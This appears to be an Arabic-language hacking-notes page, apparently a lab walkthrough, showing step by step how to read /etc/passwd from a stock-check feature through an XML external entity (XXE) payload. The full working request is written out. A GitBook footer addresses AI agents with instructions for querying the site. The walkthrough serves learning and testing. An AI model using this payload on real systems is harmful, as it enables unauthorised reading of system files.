> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/xxe/xxe-file-read-via-external-entities.md).

# قراءة ملف XXE عبر كيانات خارجية

### استغلال XXE باستخدام الكيانات الخارجية لاسترجاع الملفات

استغل ثغرة XXE عبر تعريف كيان خارجي لاسترجاع محتوى ملف (هنا `/etc/passwd`) من **التحقق من المخزون** الميزة التي تُحلِّل XML وتُرجع قيماً غير متوقعة.

<figure><img src="/files/44985364a25db76ab1304d30a9cb2023f465d4e8" alt=""><figcaption></figcaption></figure>

ترسل الميزة XML بهذا الشكل:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
  2
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/1c157742e17a769852b04430ea0ef7eff85a255d" alt=""><figcaption></figcaption></figure>

إذا كانت القيمة العددية لـ `<productId>` يتم استبدالها بسلسلة نصية، فستنعكس هذه القيمة في الاستجابة (مفيد للتشغيل):

```xml
<productId>
test
</productId>
```

<figure><img src="/files/bf1d435c3f97c176510736b4130b62ff39922b78" alt=""><figcaption></figcaption></figure>

1. أعلن عن كيان خارجي في عبارة DOCTYPE يشير إلى ملف النظام.

```xml
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
```

2. استدعِ هذا الكيان في `<productId>` الحقل الذي يُرجعه التطبيق.

```
&myFile;
```

3. يجب أن تحتوي الاستجابة بعد ذلك على محتوى الملف المستهدف (`/etc/passwd`).

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="/files/0ff62ae7cfe8d9fa36aa62a0324d630abe9d57fd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/xxe/xxe-file-read-via-external-entities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
